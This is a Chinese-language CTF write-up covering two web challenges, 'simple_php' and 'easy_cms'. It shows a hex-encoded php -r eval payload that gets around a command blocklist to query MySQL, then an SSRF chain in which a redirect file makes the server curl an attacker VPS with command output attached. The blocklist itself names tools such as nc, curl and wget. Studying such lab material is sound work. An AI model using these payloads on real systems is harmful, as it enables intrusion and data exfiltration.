simple_php

先看代码

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}


show_source(__FILE__);
?>

open_basedir限制了访问路径,但是对system等命令执行函数是无效的,因此先不管。

再来看一下escapeshellcmd

简单来说就是会对上述字符进行转义,引号会在成对的时候被ban掉

继续往下看正则,当时队友试出了几个能用的,其中包括ps -ebase32。后面看其他师傅的wp还有revpaste等文件读取的指令,后面发现还可以用%0a绕过函数过滤,这里也记录学习一下。

不过试来试去都没发现flag,但是在/etc/passwd发现了个mysql

之前西湖论剑的经验让我第一反应是udf提取,但没法执行或者连接mysql,所以只能另寻他法。后面找到了个-e参数能够执行sql指令

结合上面没找到flag文件,因此猜测flag在数据库里。但是-e参数后面跟的内容是要带引号的,所以还是得找到来绕过引号的办法。而且只执行是不行的,还得把内容输出出来,这里就得再套一层echo和反引号,也就是

echo `mysql -uroot -proot -e 'show databases;'`;

想起来php还有个-r参数能不带引号执行指令

直接上

php -r eval($a=1;print_r($a));

在kali尝试是可以的,这里还得想办法往-r后面塞指令。既然绕过不行,那就编码,第一反应就是当时队友试出的base32,但是没找到php中有对应的函数可以解,于是就想到了16进制,可以把16进制编码后的指令用hex2bin解码,再把解码出来的东西给eval执行,到这步我们的payload就变成了

php -r eval(hex2bin(6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B));

执行后出现报错

分析原因是因为把数字开头的16进制当成数字型数据而不是字符串了,所以在最前面随便加个非数字的字符,用substr截断一下就行

php -r eval(hex2bin(substr(_6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B,1)));

可以读库了,后面就正常查表即可

easy_cms

和网上一些师傅的审计不太一样,我当时写出来是队友找到了这个接口

对于fuzz了半天没试出什么东西的我断定可控接口肯定只有这几个…..于是去搜索有哪些文件调用了这几个接口

在/dayrui/Fcms/Core/Helper.php找到下面这段

明显thumb和text可控,但还是不知道这里的thumb传入进去后在哪处理,后面才在/dayrui/Fcms/Control/Api/Api.php找到下面这段对thumb参数的解析

结合后来队友告诉我发现的dr_catcher_data函数存在curl调用

因此推断这里存在ssrf,去访问题目描述给出的flag.php

这里直接构造payload就是

?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=ls&text=100

但是这样打过去会发现并没有反应,因为没有回显的地方,因此这里只能用curl请求外带,起一个vps搭一个php服务,分别写1.php和2.php两个文件(记录一下队友教的php一句话简易服务:php -S 0.0.0.0:9999 -t .

1.php:(注意这里文件头加了个GIF89a,当时为了防止有文件头过滤所以加了,后面分析发现并没有,因此有没有加都没事)

GIF89a
<?php header("location:http://127.0.0.1/flag.php?cmd=curl%20http://vps:9999/1.php?1=`ls%20/`");?>

2.php:

<?php print_r($_GET[1])?>

这里跳过查询过程,直接到最后的readflag

总结

simple_php考验积累的经验,easy_cms能做出来真是得感谢队友和运气好= = 我第一天并没有研究cms,不过第二天队友告诉我他们第一天的发现和可疑点后我再去审就快了很多,如果没有发现那个测试接口第二天应该还是没思路。后面看了其他师傅的思路后才发现还得考虑text的值变化,因为要想调用dr_catcher_data函数必须进入else,而满足else的条件就是要改变接口的值使得生成的文件名发生变化,详情可以看这位师傅的博客

第一年参加国赛,发现自己还是有好多不会的东西,后面看别人做出来的题发现有些词就是第一次见(印象最深的就是python栈帧逃逸)。继续加油吧